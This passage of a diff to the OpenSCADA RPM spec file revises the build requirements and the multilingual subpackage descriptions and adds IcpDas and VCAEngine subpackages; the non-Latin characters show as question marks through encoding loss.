 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
-Patch1: openscada-0.6.3.3-openssl.patch
 License: GPLv2
 Group: Applications/Engineering
 URL: http://oscada.org.ua
@@ -96,6 +100,7 @@ BuildRequires: libtool
 BuildRequires: desktop-file-utils
 BuildRequires: sed
 BuildRequires: chrpath
+BuildRequires: net-snmp-devel
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -110,7 +115,7 @@ Open SCADA system. For access use accoun
 ???????? SCADA ???????. ??? ??????? ?????????????? ????? "root" ?? ??????
 "openscada".
 %description -l de_DE.UTF8
-Das offene SCADA System. Fuer den Zugang die Aufzeichnung "root" und das
+Das offene SCADA System. F?r den Zugang die Aufzeichnung "root" und das
 Kennwort "openscada" benutzen.
 
 %post
@@ -125,25 +130,26 @@ if [ $1 = 0 ]; then
  /sbin/chkconfig --del openscadad
 fi
 
+################## DAQ-System ###########################
 %if 0%{?with_diamondboards}
 %package DAQ-DiamondBoards
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-DiamondBoards
-The %name-DAQ-DiamondBoards allows access to Diamond systems DA boards.
-Includes support of Athena board.
+The %name-DAQ-DiamondBoards allows access to Diamond systems
+DA boards. Includes support of Athena board.
 %description DAQ-DiamondBoards -l ru_RU.UTF8
 ????? %name-DAQ-DiamondBoards ????????????? ?????? ? ?????? ?????
 ?????? ????? Diamond systems. ???????? ????????? ????????? ?????
 Athena.
 %description DAQ-DiamondBoards -l uk_UA.UTF8
-????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ????? ?????
-Diamond systems. ??????? ????????? ????????? ????? Athena.
+????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ?????
+????? Diamond systems. ??????? ????????? ????????? ????? Athena.
 %description DAQ-DiamondBoards -l de_DE.UTF8
-Das Paket %name-DAQ-DiamondBoards ermoeglicht den Zugang zur
-Datenerfassung der Firma Diamond systems.Es enthaelt die Unterstuetzung
-der Systemplatte Athena.
+Das Paket %name-DAQ-DiamondBoards erm?glicht den Zugang zur
+Datenerfassung der Firma Diamond Systems.Es enth?lt die
+Unterst?tzung der Systemplatte Athena.
 %endif
 
 %if 0%{?with_dcon}
@@ -161,8 +167,8 @@ Supported I-7000 DCON protocol.
 ????? %name-DAQ-DCON ????? ?????????? ???????????? ??????? DCON.
 ????????????? I-7000 DCON ????????.
 %description DAQ-DCON -l de_DE.UTF8
-Das Paket %name-DAQ-DCON ermoeglicht Verwirklichung des
-Kundenservices des DCON-Protoklls. Unterstueuzung Prototkoll
+Das Paket %name-DAQ-DCON erm?glicht Verwirklichung des
+Kundenservices des DCON-Protokolls. Unterst?zung des Protokolls
 I-7000 DCON.
 %endif
 
@@ -179,12 +185,13 @@ Supported Modbus/TCP, Modbus/RTU and Mod
 ????????? ModBus. ?????????????? Modbus/TCP, Modbus/RTU ?
 Modbus/ASCII ?????????.
 %description DAQ-ModBus -l uk_UA.UTF8
-????? %name-DAQ-ModBus ????? ?????????? ???????????? ModBus ???????.
+????? %name-DAQ-ModBus ????? ?????????? ????????????
+ModBus ???????.
 ????????????? Modbus/TCP, Modbus/RTU ?? Modbus/ASCII ?????????.
 %description DAQ-ModBus -l de_DE.UTF8
-Das Paket %name-DAQ-ModBus emoeglicht Realisierung des Kundenservices des
-ModBus - Protokolls. Unterstuetzt werden die Protokolle Modbus/TCP,
-Modbus/RTU ? Modbus/ASCII.
+Das Paket %name-DAQ-ModBus em?glicht die Implementierung des
+Kundenservices des ModBus-Protokolls. Unterst?tzt werden die
+Protokolle Modbus/TCP, Modbus/RTU ? Modbus/ASCII.
 %endif
 
 %if 0%{?with_soundcard}
@@ -199,14 +206,13 @@ The %name-DAQ-Soundcard allows access to
 %description DAQ-Soundcard -l uk_UA.UTF8
 ????? %name-DAQ-Soundcard ????? ?????? ?? ????? ???????? ?????.
 %description DAQ-Soundcard -l de_DE.UTF8
-Das Paket %name-DAQ-Soundcard ermoeglicht den Zugang zur Schallkarte.
+Das Paket %name-DAQ-Soundcard gew?hrt den Zugang zur Schallkarte.
 %endif
 
 %if 0%{?with_snmp}
 %package DAQ-SNMP
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
-BuildRequires: net-snmp-devel
 Requires: %{name} = %{version}-%{release}
 %description DAQ-SNMP
 The %name-DAQ-SNMP allows realising of SNMP client service.
@@ -216,8 +222,8 @@ The %name-DAQ-SNMP allows realising of S
 %description DAQ-SNMP -l uk_UA.UTF8
 ????? %name-DAQ-SNMP ????? ?????????? ???????????? SNMP ???????.
 %description DAQ-SNMP -l de_DE.UTF8
-Das Paket %name-DAQ-SNMP ermoeglicht Realisierung des Kundenservices
-des SNMP - Protokolls.
+Das Paket %name-DAQ-SNMP em?glicht die Implementierung des
+Kundenservices des SNMP-Protokolls.
 %endif
 
 %if 0%{?with_siemens}
@@ -238,9 +244,9 @@ for other.
 ????????? ???? Hilscher CIF ? ????????????? ????????? MPI ??
 ?????????? Libnodave ??? ??????.
 %description DAQ-Siemens -l de_DE.UTF8
-Das Paket %name-DAQ-Siemens, enthaelt die Datenquelle PLC Siemens
+Das Paket %name-DAQ-Siemens, enth?lt die Datenquelle PLC Siemens
 mittels der Karten Hilscher CIF durch Anwendung des MPI -
-Protokolls und der Bibliothek Libnodave fuer Anderes.
+Protokolls und der Bibliothek Libnodave f?r Anderes.
 %endif
 
 %if 0%{?with_system}
@@ -250,20 +256,20 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-System
 The %name-DAQ-System, allow operation system data acquisition.
-Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory, CPU and
-other.
+Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory,
+CPU and other.
 %description DAQ-System -l ru_RU.UTF8
 ????? %name-DAQ-System, ????????????? ???? ?????? ????????????
 ???????. ?????????????? ????????? ?????? ?? Linux: HDDTemp, Sensors,
 Uptime, Memory, CPU ? ??????.
 %description DAQ-System -l uk_UA.UTF8
 ????? %name-DAQ-System, ????? ???? ????? ??????????? ???????.
-????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime, Memory,
-CPU ?? ????.
+????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime,
+Memory, CPU ?? ????.
 %description DAQ-System -l de_DE.UTF8
-Das Paket %name-DAQ-System ermoeglicht Datenerfassung des
+Das Paket %name-DAQ-System erm?glicht die Datenerfassung des
 Operationssystems. Es werden die Datenquellen ?? Linux: HDDTemp,
-Sensors, Uptime, Memory, CPU und andere unterstuetzt.
+Sensors, Uptime, Memory, CPU und andere unterst?tzt.
 %endif
 
 %if 0%{?with_blockcalc}
@@ -278,7 +284,7 @@ The %name-DAQ-BlockCalc allows block bas
 %description DAQ-BlockCalc -l uk_UA.UTF8
 ????? %name-DAQ-BlockCalc, ????? ???????? ??????????.
 %description DAQ-BlockCalc -l de_DE.UTF8
-Das Paket %name-DAQ-BlockCalc gewaehrt den Blockrechner
+Das Paket %name-DAQ-BlockCalc gew?hrt den Blockrechner
 %endif
 
 %if 0%{?with_javalikecalc}
@@ -291,17 +297,18 @@ The %name-DAQ-JavaLikeCalc allows java-l
 function's libraries engine. User can create and modify function and
 libraries.
 %description DAQ-JavaLikeCalc -l ru_RU.UTF8
-????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java ????????
-????? ??????????? ? ?????? ?????????. ???????????? ????? ????????? ?
-?????????????? ??????? ? ??????????.
+????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java
+???????? ????? ??????????? ? ?????? ?????????. ???????????? ?????
+????????? ? ?????????????? ??????? ? ??????????.
 %description DAQ-JavaLikeCalc -l uk_UA.UTF8
 ????? %name-DAQ-JavaLikeCalc, ????? ???????? ?? ???? ?????? ?? Java
 ?????????? ?? ?????? ????????? ??????. ?????????? ???? ?????????? ??
 ???????????? ??????? ?? ??????????.
 %description DAQ-JavaLikeCalc -l de_DE.UTF8
-Das %name-DAQ-JavaLikeCalc, entaelt die auf java - aehnlicher Sprache
-begruendeten Bibliothekenrechner und -laufer. Der Nutzer kann Funktionen
-und Bibliotheken schaffen und modifizieren.
+Das %name-DAQ-JavaLikeCalc, ent?lt die auf der Java - ?hnlicher
+Sprache begr?ndeten Bibliothekenrechner und -l?ufer.
+Der Nutzer kann Funktionen und Bibliotheken schaffen und
+modifizieren.
 %endif
 
 %if 0%{?with_logiclevel}
@@ -312,11 +319,13 @@ Requires: %{name} = %{version}-%{release
 %description DAQ-LogicLevel
 The %name-DAQ-LogicLevel allows logic level paramers.
 %description DAQ-LogicLevel -l ru_RU.UTF8
-????? %name-DAQ-LogicLevel, ????????????? ?????????? ??????? ??????????.
+????? %name-DAQ-LogicLevel, ????????????? ?????????? ???????
+??????????.
 %description DAQ-LogicLevel -l uk_UA.UTF8
 ????? %name-DAQ-LogicLevel, ????? ???????? ?????? ??????????.
 %description DAQ-LogicLevel -l de_DE.UTF8
-Das Paket %name-DAQ-LogicLevel, enthaelt das logische Parameterlevel.
+Das Paket %name-DAQ-LogicLevel, enth?lt das logische
+Parameterlevel.
 %endif
 
 %if 0%{?with_daqgate}
@@ -334,8 +343,32 @@ OpenSCADA station to local OpenSCADA sta
 ????? %name-DAQ-Gate, ???????? ????????? ??????? ????? ??????????
 OpenSCADA ??????? ?? ?????????.
 %description DAQ-Gate -l de_DE.UTF8
-Das Paket %name-DAQ-Gate, ermoeglicht das Einschleusen der Datenquellen der
-entfernten OpenSCADA Stationen in die lokale.
+Das Paket %name-DAQ-Gate, erm?glicht das Einschleusen der
+Datenquellen der entfernten OpenSCADA Stationen in die lokale.
+%endif
+
+%if 0%{?with_icpdas}
+%package DAQ-IcpDas
+Summary: Open SCADA DAQ
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description DAQ-IcpDas
+The %name-DAQ-IcpDas, package allow realisation of ICP DAS
+hardware support. Include I87000 and I-7000 DCON modules
+and I-8000 fast modules.
+%description DAQ-IcpDas -l ru_RU.UTF8
+????? %name-DAQ-IcpDas, ????????????? ?????????? ?????????
+???????????? ICP DAS. ???????? ????????? I-87000
+? I-7000 DCON ??????? ? I-8000 ??????? ???????.
+%description DAQ-IcpDas -l uk_UA.UTF8
+????? %name-DAQ-IcpDas, ????? ?????????? ????????? ??????????
+ICP DAS. ????????? I-87000 ?? I-7000 DCON ??????
+?? I-8000 ?????? ??????.
+%description DAQ-IcpDas -l de_DE.UTF8
+Das Paket %name-DAQ-IcpDas, gew?hrt die Implementierung der
+Unterst?tzung der installierten Ausr?stung ICP DAS.
+Die Unterst?tzung von Modulen I-87000 und I-7000
+und Schnell-Modulen I-8000 DCON ist eingeschlossen.
 %endif
 
 %if 0%{?with_selfsystem}
@@ -354,9 +387,10 @@ generic functions.
 ????????? ??????? ???????.
 %description Protocol-SelfSystem -l de_DE.UTF8
 Das Paket %name-Protocol-SelfSystem, das eigene OpenSCADA -
-Protokoll, unterstuetzt Hauptfunktionen
+Protokoll, unterst?tzt die Hauptfunktionen
 %endif
 
+########################### BD-System ############################
 %if 0%{?with_firebird}
 %package DB-FireBird
 Summary: Open SCADA database
@@ -370,7 +404,8 @@ The %name-DB-FireBird allow support of t
 %description DB-FireBird -l uk_UA.UTF8
 ????? %name-DB-FireBird, ?????? ??. ????? ????????? ?? FireBird.
 %description DB-FireBird -l de_DE.UTF8
-Das Paket %name-DB-FireBird Ermoegliht die FireBird Dateibasenunterstuetzung.
+Das Paket %name-DB-FireBird Gew?hrt die
+FireBird-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_mysql}
@@ -386,7 +421,7 @@ The %name-DB-MySQL package allow support
 %description DB-MySQL -l uk_UA.UTF8
 ????? %name-DB-MySQL, ????? ????????? ?? MySQL.
 %description DB-MySQL -l de_DE.UTF8
-Das Paket %name-DB-MySQL Ermoeglicht die MySQL-Dateibasenunterstuetzung.
+Das Paket %name-DB-MySQL gew?hrt die MySQL-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_dbf}
@@ -395,13 +430,16 @@ Summary: Open SCADA database
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DB-DBF
-The %name-DB-DBF package allow support of the *.dbf files, version 3.0.
+The %name-DB-DBF package allow support of the *.dbf files,
+version 3.0.
 %description DB-DBF -l ru_RU.UTF8
-????? %name-DB-DBF, ????????????? ????????? *.dbf ??????, ?????? 3.0..
+????? %name-DB-DBF, ????????????? ????????? *.dbf ??????,
+?????? 3.0.
 %description DB-DBF -l uk_UA.UTF8
 ????? %name-DB-DBF, ????? ????????? *.dbf ??????, ?????? 3.0.
 %description DB-DBF -l de_DE.UTF8
-Das Paket %name-DB-DBF ermoeglicht die *.dbf Dateiunterstutzung, Versionen 3.0..
+Das Paket %name-DB-DBF gew?hrt die *.dbf Dateiunterst?tzung,
+Versionen 3.0.
 %endif
 
 %if 0%{?with_sqlite}
@@ -416,25 +454,27 @@ The %name-DB-SQLite package allow suppor
 %description DB-SQLite -l uk_UA.UTF8
 ????? %name-DB-SQLite, ????? ????????? ?? SQLite.
 %description DB-SQLite -l de_DE.UTF8
-Das Paket %name-DB-SQLite ermoeglicht die DB SQLite - Unterstuetzung.
+Das Paket %name-DB-SQLite gew?hrt die DB SQLite - Unterst?tzung.
 %endif
 
+############################# ARH-System ############################
 %if 0%{?with_dbarch}
 %package ARH-DBArch
 Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-DBArch
-The %name-ARH-DBArch package allow functions for messages and values
-arhiving to DB.
+The %name-ARH-DBArch package allow functions for messages and
+values arhiving to DB.
 %description ARH-DBArch -l ru_RU.UTF8
-????? %name-ARH-DBArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ??.
+????? %name-ARH-DBArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ??.
 %description ARH-DBArch -l uk_UA.UTF8
-????? %name-ARH-DBArch, ????? ??????? ????????? ??????????? ?? ??????? ?? ??.
+????? %name-ARH-DBArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??.
 %description ARH-DBArch -l de_DE.UTF8
-Das Paket %name-ARH-DBArch gewaehrt Archivierungsfunktionen der Mitteilungen
-und Bedeutungen fuer DB.
+Das Paket %name-ARH-DBArch gew?hrt Archivierungsfunktionen
+der Nachrichten und Bedeutungen f?r DB.
 %endif
 
 %if 0%{?with_fsarch}
@@ -443,24 +483,33 @@ Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-FSArch
-The %name-ARH-FSArch allow functions for messages and values arhiving
-to file system.
+The %name-ARH-FSArch allow functions for messages and values
+arhiving to file system.
 %description ARH-FSArch -l ru_RU.UTF8
-????? %name-ARH-FSArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ???????? ???????.
+????? %name-ARH-FSArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ???????? ???????.
 %description ARH-FSArch -l uk_UA.UTF8
-????? %name-ARH-FSArch, ????? ??????? ????????? ??????????? ?? ??????? ??
-??????? ???????.
+????? %name-ARH-FSArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??????? ???????.
 %description ARH-FSArch -l de_DE.UTF8
-Das Paket %name-ARH-FSArch gewaert Archivierungsfunktionen fuer Mitteilungen
-und Bedeutungen fuer Dateisystem.
+Das Paket %name-ARH-FSArch gew?hrt Archivierungsfunktionen
+f?r Nachrichte und Bedeutungen f?r Dateisystem.
 %endif
 
+############################# UI-System ##############################
 %if 0%{?with_webcfg}
 %package UI-WebCfg
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfg
 The %name-UI-WebCfg allows the WEB based OpenSCADA system
 configurator.
@@ -471,7 +520,7 @@ configurator.
 ????? %name-UI-WebCfg, ????? WEB ????????? ???????????? ???????
 OpenSCADA.
 %description UI-WebCfg -l de_DE.UTF8
-Das Paket %name-UI-WebCfg ermoeglicht den WEB-begruendeten
+Das Paket %name-UI-WebCfg gew?hrt den WEB-begr?ndeten
 OpenSCADA-Konfigurator.
 %endif
 
@@ -480,6 +529,14 @@ OpenSCADA-Konfigurator.
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfgd
 The %name-UI-WebCfgd allows the dynamic WEB based OpenSCADA system
 configurator. Use XHTML, CSS and JavaScript technologies.
@@ -487,11 +544,11 @@ configurator. Use XHTML, CSS and JavaScr
 ????? %name-UI-WebCfgd, ????????????? ???????????? WEB ??????????
 ????????????. ?????????? XHTML, CSS ? JavaScript ??????????.
 %description UI-WebCfgd -l uk_UA.UTF8
-????? %name-UI-WebCfgd, ????? ?????????? WEB ????????? ????????????.
-??????????? XHTML, CSS ?? JavaScript ??????????.
+????? %name-UI-WebCfgd, ????? ?????????? WEB ?????????
+????????????. ??????????? XHTML, CSS ?? JavaScript ??????????.
 %description UI-WebCfgd -l de_DE.UTF8
-Das Paket %name-UI-WebCfgd ermoeglicht den dynamischen WEB-begruendeten
-Konfigurator. Nutzt XHTML, CSS and JavaScript technologies aus.
+Das Paket %name-UI-WebCfgd gew?hrt den dynamischen WEB-begr?ndeten
+Konfigurator. Nutzt die XHTML, CSS und JavaScript-Technologien aus.
 %endif
 
 %if 0%{?with_webvision}
@@ -499,18 +556,26 @@ Konfigurator. Nutzt XHTML, CSS and JavaS
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebVision
-The %name-UI-WebVision web operation user interface for visual control area
-(VCA) projects playing.
+The %name-UI-WebVision web operation user interface for visual
+control area (VCA) projects playing.
 %description UI-WebVision -l ru_UA.UTF8
-????? %name-UI-WebVision, web ??????? ???????????????? ????????? ???
-?????????? ?????????? ???? ?????????? (???)
+????? %name-UI-WebVision, web ??????? ???????????????? ?????????
+??? ?????????? ?????????? ???? ?????????? (???)
 %description UI-WebVision -l uk_RU.UTF8
-????? %name-UI-WebVision, web ??????? ????????? ??????????? ??? ?????????
-??????????? ?????????? ????????? (???).
+????? %name-UI-WebVision, web ??????? ????????? ??????????? ???
+????????? ??????????? ?????????? ????????? (???).
 %description UI-WebVision -l de_DE.UTF8
-Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface fuer Ausfuehrung
-visueller Kontrollebereiche .
+Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface f?r die
+Ausf?hrung visueller Kontrollebereiche.
 %endif
 
 %if 0%{?with_http}
@@ -518,19 +583,29 @@ visueller Kontrollebereiche .
 Summary: Open SCADA http
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description Protocol-HTTP
-The %name-Protocol-HTTP package allows support HTTP for WWW based UIs.
+The %name-Protocol-HTTP package allows support HTTP
+for WWW based UIs.
 %description Protocol-HTTP -l ru_RU.UTF8
-????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW ??????????
-???????????????? ???????????.
+????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW
+?????????? ???????????????? ???????????.
 %description Protocol-HTTP -l uk_UA.UTF8
 ????? %name-Protocol-HTTP ????? ????????? HTTP ??? WWW ???????????
 ?????????????????? ???????????.
 %description Protocol-HTTP -l de_DE.UTF8
-Das Paket %name-Protocol-HTTP ermoeglicht die HTTP-Unterstuetzung fuer die
-WWW-basierenden Nutzersinterfaces .
+Das Paket %name-Protocol-HTTP gew?hrt die HTTP-Unterst?tzung
+f?r die WWW-basierenden Nutzersinterfaces.
 %endif
 
+############################### GUI-System ##################################
 %if 0%{?with_qtstarter}
 %package UI-QTStarter
 Summary: Open SCADA QT Starter
@@ -538,7 +613,7 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTStarter
 The %name-UI-QTStarter Allow QT GUI starter. It is single for
-all QT GUI modules!.
+all QT GUI modules!
 %description UI-QTStarter -l ru_RU.UTF8
 ????? %name-UI-QTStarter ????????????? QT GUI ?????????.
 ?? ???????? ???????????? ??? ???? QT GUI ???????!
@@ -546,8 +621,8 @@ all QT GUI modules!.
 ????? %name-UI-QTStarter ????? QT GUI ??????. ??? ? ???? ???
 ???? QT GUI ???????!
 %description UI-QTStarter -l de_DE.UTF8
-Das Paket %name-UI-QTStarter  Enthaelt den QT GUI Starter.
-Ist das einzige fuer alle QT GUI Module!
+Das Paket %name-UI-QTStarter  Enth?lt den QT GUI-Starter.
+Ist das Einzige f?r alle QT GUI-Module!
 %endif
 
 %if 0%{?with_qtcfg}
@@ -556,54 +631,79 @@ Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTCfg
-The %name-UI-QTCfg allows the QT based OpenSCADA system configurator.
+The %name-UI-QTCfg allows the QT based OpenSCADA system
+configurator.
 %description UI-QTCfg -l ru_RU.UTF8
-????? %name-UI-QTCfg ????????????? QT ?????????? ???????????? ???????
-OpenSCADA.
+????? %name-UI-QTCfg ????????????? QT ?????????? ????????????
+??????? OpenSCADA.
 %description UI-QTCfg -l uk_UA.UTF8
 ????? %name-UI-QTCfg ??????? ????? QTCfg-?????????????.
 %description UI-QTCfg -l de_DE.UTF8
-Das Paket %name-UI-QTCfg emrmoeglicht den QT-begruendeten
+Das Paket %name-UI-QTCfg gew?hrt den QT-begr?ndeten
 OpenSCADA-Systemkonfigurator.
 %endif
 
-%if 0%{?with_qtvision}
-%package UI-QTVision
+############################### UI-System ##################################
+
+%if 0%{?with_uivision}
+%package UI-Vision
 Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
-%description UI-QTVision
-The %name-UI-QTVision package includes files visual operation user
+%description UI-Vision
+The %name-UI-Vision package includes files visual operation user
 interface.
-%description UI-QTVision -l ru_RU.UTF8
-????? %name-UI-QTVision ???????? ????? ???????? ?????????????????
+%description UI-Vision -l ru_RU.UTF8
+????? %name-UI-Vision ???????? ????? ???????? ?????????????????
 ??????????.
-%description UI-QTVision -l uk_UA.UTF8
-????? %name-UI-QTVision ??????? ????? ???????? ??????????
+%description UI-Vision -l uk_UA.UTF8
+????? %name-UI-Vision ??????? ????? ???????? ??????????
 ???????????.
-%description UI-QTVision -l de_DE.UTF8
-Das Paket %name-UI-QTVision enthaelt die Arbeitsnutzersinterfacedaten
+%description UI-Vision -l de_DE.UTF8
+Das Paket %name-UI-Vision enth?lt die Arbeitsnutzersinterfacedaten
+%endif
+
+%if 0%{?with_uivcaengine}
+%package UI-VCAEngine
+Summary: Open SCADA QT interfaces
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description UI-VCAEngine
+The %{name}-UI-VCAEngine package - generic visual control
+area engine.
+%description UI-VCAEngine -l ru_RU.UTF8
+????? %{name}-UI-VCAEngine - ????? ?????? ????? ????????????
+? ??????????.
+%description UI-VCAEngine -l uk_UA.UTF8
+????? %{name}-UI-VCAEngine - ????????? ????? ??????????
+???????????? ?? ?????????.
+%description UI-VCAEngine -l de_DE.UTF8
+Das Paket %{name}-UI-VCAEngine - allgemeine
+Visualisierungssteuerung.
 %endif
 
+############################# Transport-System ##############################
 %if 0%{?with_ssl}
 %package Transport-SSL
 Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-SSL
-The %name-Transport-SSL allows security socket layer based transport.
-Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
+The %name-Transport-SSL allows security socket layer based
+transport. Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l ru_RU.UTF8
-????? %name-Transport-SSL ????????????? ????????? ?????????? ?? ????
-?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
+????? %name-Transport-SSL ????????????? ????????? ??????????
+?? ???? ?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
 and TLSv1.
 %description Transport-SSL -l uk_UA.UTF8
-????? %name-Transport-SSL ????? ????????? ????????? ?? ?????????? ???? ???????.
- ??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
+????? %name-Transport-SSL ????? ????????? ????????? ??
+?????????? ???? ???????.
+??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l de_DE.UTF8
-Das Paket %name-Transport-SSL enthaelt den auf der Schicht der unfallfesten
-Sockets begruendeten Transport. Es werden OpenSSL benutzt und SSLv2, SSLv3
-und TLSv1 unterstuetzt.
+Das Paket %name-Transport-SSL enth?lt den auf der Schicht der
+unfallfesten.
+Sockets begr?ndeten Transport. Es werden OpenSSL und SSLv2, SSLv3
+und TLSv1 benutzt und unterst?tzt.
 %endif
 
 %if 0%{?with_sockets}
@@ -612,20 +712,22 @@ Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-Sockets
-The %name-Transport-Sockets allows sockets based transport. Supports inet
-and unix sockets. Inet socket uses TCP and UDP protocols.
+The %name-Transport-Sockets allows sockets based transport.
+Supports inet and unix sockets.
+Inet socket uses TCP and UDP protocols.
 %description Transport-Sockets -l ru_RU.UTF8
-????? %name-Transport-Sockets ???????????? ????????? ?????????? ?? ???????.
-?????????????? ???????? ? UNIX ??????. ???????? ????? ?????????? TCP ? UDP
-?????????.
+????? %name-Transport-Sockets ???????????? ????????? ??????????
+?? ???????. ?????????????? ???????? ? UNIX ??????.
+???????? ????? ?????????? TCP ? UDP ?????????.
 %description Transport-Sockets -l uk_UA.UTF8
 ????? %name-Transport-Sockets ????? ????????? ????????? ?? ???????.
 ????????????? ???????? ?? UNIX ??????. ???????? ????? ???????????? TCP
 ?? UDP ?????????.
 %description Transport-Sockets -l de_DE.UTF8
-Das Paket %name-Transport-Sockets ermoeglicht den auf Sockets begruendeten
-Transport. Unterstuetzt werden Internet- und UNIX-Sockets. Internetsocket
-benutzt TCP und UDP Protokolle.
+Das Paket %name-Transport-Sockets gew?hrt den auf Sockets
+begr?ndeten Transport.
+Unterst?tzt werden die Internet- und UNIX-Sockets.
+Das Internetsocket benutzt die TCP und UDP-Protokolle.
 %endif
 
 %if 0%{?with_serial}
@@ -638,19 +740,20 @@ The %name-Transport-Serial, allow serial
 data exchanging through serial interfaces like RS232, RS485, GSM
 and other.
 %description Transport-Serial -l ru_RU.UTF8
-????? %name-Transport-Serial, ????????????? ???????????????? ?????????.
-???????????? ??? ?????? ??????? ????? ???????????????? ??????????
+????? %name-Transport-Serial, ????????????? ????????????????
+?????????. ???????????? ??? ?????? ??????? ????? ???????????????? ??????????
 ???? RS232, RS485, GSM ? ??????.
 %description Transport-Serial -l uk_UA.UTF8
 ????? %name-Transport-Serial, ????? ?????????? ??????????.
 ???????????????? ??? ?????? ?????? ????? ?????????? ???????????
 ???? RS232, RS485, GSM ?? ????.
 %description Transport-Serial -l de_DE.UTF8
-Das Paket %name-Transport-Serial, ermoeglicht konsequenten
-Nutzersinterface. Wird fuer das Umtauschen von Daten durch konsequente
+Das Paket %name-Transport-Serial, gew?hrt das konsequente
+Nutzersinterface. Wird f?r das Umtauschen von Daten durch konsequente
 Interfaces wie RS232, RS485, GSM und andere benutzt.
 %endif
 
+############################# Functions-System #########################
 %if 0%{?with_flibcomplex}
 %package Special-FlibComplex1
 Summary: Open SCADA special
@@ -666,7 +769,7 @@ Complex1 (SCADA Complex1 functions).
 ????? %name-Special-FlibComplex1 ????? ???????? ?????????? ???????
 Complex1 (??????? SCADA Complex1).
 %description Special-FlibComplex1 -l de_DE.UTF8
-Das Paket %name-Special-FlibComplex1s enthaelt statische
+Das Paket %name-Special-FlibComplex1s enth?lt statische
 Bibliothek der Complex1-Funktionen (Funktionen SCADA Complex1).
 %endif
 
@@ -676,15 +779,17 @@ Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-FlibMath
-The %name-Special-FlibMath allows mathematic static function library.
+The %name-Special-FlibMath allows mathematic static function
+library.
 %description Special-FlibMath -l ru_RU.UTF8
 ????? %name-Special-FlibMath ????????????? ?????????? ???????????
 ?????????????? ???????.
 %description Special-FlibMath -l uk_UA.UTF8
-????? %name-Special-FlibMath ????? ???????? ?????????? ???????????? ???????.
+????? %name-Special-FlibMath ????? ???????? ??????????
+???????????? ???????.
 %description Special-FlibMath -l de_DE.UTF8
-The %name-Special-FlibMath : #Das Paket %name-Special-FlibMath enthaelt
-Standardbibliothek der mathematischen Funktionen.
+Das Paket %name-Special-FlibMath enth?lt die Standardbibliothek
+der mathematischen Funktionen.
 %endif
 
 %if 0%{?with_flibsys}
@@ -699,27 +804,30 @@ of the user programming area.
